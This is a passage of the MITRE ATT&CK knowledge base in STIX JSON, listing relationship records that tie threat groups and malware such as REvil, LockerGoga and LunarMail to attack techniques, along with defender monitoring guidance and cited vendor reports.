2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can use VNC for remote access to targeted systems.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-13T18:12:08.619Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3199779f-80be-44fa-8f21-9623e8473381","created":"2024-07-02T18:12:47.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:26:19.316Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can use email image attachments with embedded data for receiving C2 commands and data exfiltration.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--319cb374-b991-483f-b6d9-e315c333e751","created":"2024-05-25T16:32:08.289Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:32:08.289Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) has used an initial loader malware featuring a legitimate code signing certificate associated with \"Electrum Technologies GmbH.\"(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--319dbc0e-5026-4796-bfd9-43ef3d30eb8d","created":"2019-01-30T17:33:40.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky MuddyWater June 2019","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T20:05:35.973Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--319ddafd-7ae5-4fd5-ae80-3c7456c3878f","created":"2022-06-07T17:13:38.466Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can run `C:\\Windows\\system32\\cmd.exe /c cmd /c ipconfig /all 2>&1` to discover network settings.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-07T17:13:38.466Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31a38a3d-0358-4e92-b2cf-0d4f74022f15","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for file creation and files transferred into the network","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31a6eec8-0281-4973-a2af-ebf30e317a9f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2021-09-15T14:02:10.015Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used RDP for lateral movement.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31a72381-c672-404f-afd2-17bfb2aa3078","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T22:37:17.383Z","description":"[iKitten](https://attack.mitre.org/software/S0278) prompts the user for their credentials.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31a8dc85-abb8-4144-9fe8-6d9a71339c0e","type":"relationship","created":"2020-03-19T23:20:19.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:22:40.273Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used publicly available tools to dump password hashes, including ProcDump and WCE.(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31b54e57-8a8c-4c0f-9170-b3694dd82005","type":"relationship","created":"2020-09-30T15:07:31.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-10-09T15:38:41.969Z","description":"[WellMail](https://attack.mitre.org/software/S0515) has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications.(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31bd2260-ef8d-4f69-a7a8-9388e0d721c9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.944Z","description":"[JPIN](https://attack.mitre.org/software/S0201)'s installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31bec3b7-5bb1-4a10-ab7c-4e82d67a0643","created":"2023-04-04T22:25:32.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:39:01.588Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can execute shell commands using `cmd.exe`.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31bf8ae4-e757-462c-aa30-c4a9dd92c677","type":"relationship","created":"2020-08-04T16:03:24.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.533Z","description":"[REvil](https://attack.mitre.org/software/S0496) has the capability to destroy files and folders.(Citation: Kaspersky Sodin July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31c3aadb-7979-4ea7-9488-f08b5524bada","created":"2024-09-25T18:47:12.089Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:47:12.089Z","description":"\n[Play](https://attack.mitre.org/groups/G1040) has used a batch script to remove indicators of its presence on compromised hosts.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31ca2106-a54f-4511-8319-f82367a7d293","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor executed commands and arguments for actions that can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31cd4eb1-f7b3-4030-b087-388d55faba03","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2019-07-26T23:07:21.338Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInfoOSX function to return the OS X version as well as the current user.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31d1ec86-7f70-48b7-b44f-c1403f5f2c19","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for changes to windows registry keys and/or values that may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31daba72-fb27-45a9-9224-991032b605a8","type":"relationship","created":"2019-04-16T19:00:49.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.","url":"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/","source_name":"CarbonBlack LockerGoga 2019"},{"source_name":"Unit42 LockerGoga 2019","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/","description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019."},{"source_name":"Wired Lockergoga 2019","url":"https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/","description":"Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019."}],"modified":"2019-10-10T12:16:50.244Z","description":"[LockerGoga](https://attack.mitre.org/software/S0372) has encrypted files, including core Windows OS files, using RSA-OAEP MGF1 and then demanded Bitcoin be paid for the decryption key.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)(Citation: Wired Lockergoga 2019)","relationship_type":"uses","source_ref":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31e01486-8827-41cd-a21b-dc420554d1bb","type":"relationship","created":"2020-05-26T16:17:59.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-05-26T16:17:59.747Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) used shell scripts to run commands which would obtain persistence and execute the cryptocurrency mining malware.(Citation: Talos Rocke August 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31e28b94-aa2e-4681-9e1b-70d5b652af62","created":"2023-09-30T21:26:41.428Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T21:26:41.428Z","description":"Monitor for unexpected changes to configuration files associated with the power settings of a system.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.862Z","description":"Commands such as net view can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about available remote systems.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31eec307-641b-429e-a93f-978512986585","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"ATT ScanBox","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"}]},{"type":"relationship","id":"relationship--31f93f78-799b-4f65-892c-da3aba4bb32d","created":"2023-03-03T21:56:38.046Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T21:56:38.046Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has conducted a network call out to a specific website as part of their initial discovery activity.(Citation: DFIR Phosphorus November 2021) ","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31f9cd5d-bfb6-4764-a724-8e8f131099d1","created":"2022-03-15T20:02:43.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.409Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has sent internal spearphishing emails for lateral movement after stealing victim information.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31fa2481-0b4f-40d4-b438-1d04a7eb0888","type":"relationship","created":"2019-02-19T19:17:15.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Microsoft. (2017, October 15). Expand. Retrieved February 19, 2019.","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand","source_name":"Microsoft Expand Utility"}],"modified":"2019-04-19T18:52:30.191Z","description":"[Expand](https://attack.mitre.org/software/S0361) can be used to decompress a local or remote CAB file into an executable.(Citation: Microsoft Expand 